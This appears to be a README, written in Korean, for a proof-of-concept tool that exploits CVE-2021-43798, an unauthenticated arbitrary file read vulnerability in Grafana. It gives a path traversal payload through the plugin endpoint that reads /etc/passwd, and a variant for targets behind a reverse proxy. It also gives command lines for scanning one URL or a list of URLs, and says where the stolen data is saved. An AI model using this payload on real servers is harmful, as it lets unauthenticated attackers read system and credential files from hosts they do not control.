
grafana CVE-2021-43798 임의 파일 읽기 취약점 POC로, 다중 플러그인 순환 탐지 방식을 채택하며, 단일 URL 지정 및 파일에서 URL 읽기를 지원합니다.
대상이 리버스 프록시로 처리되는 경우 payload를 다음 항목으로 교체할 수 있습니다
url1 = url +"/public/plugins/"+str.rstrip(plugins)+"/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd"
Grafana는 크로스 플랫폼 오픈 소스 데이터 시각화 웹 애플리케이션 플랫폼입니다. 사용자가 연결할 데이터 소스를 구성하면 Grafana는 웹 브라우저에서 데이터 차트와 경고를 표시할 수 있습니다.
Grafana에는 인증되지 않은 임의 파일 읽기 취약점이 존재하며, 공격자는 인증 없이 이 취약점을 통해 호스트의 임의 파일을 읽을 수 있습니다.
CVE: CVE-2021-43798
구성 요소: Grafana
취약점 유형: 파일 읽기
영향: 민감한 정보 획득
요약: 인증되지 않은 공격자가 이 취약점을 악용하여 서버의 민감한 파일을 획득할 수 있습니다
python3 grafana_fileread.py -u http://localhost:3000
획득한 데이터는 grafana 8.x_fileread_vuln.txt 파일에서 확인할 수 있습니다
2. 파일 내 IP 감지
python3 grafana_fileread.py -u http://localhost:3000

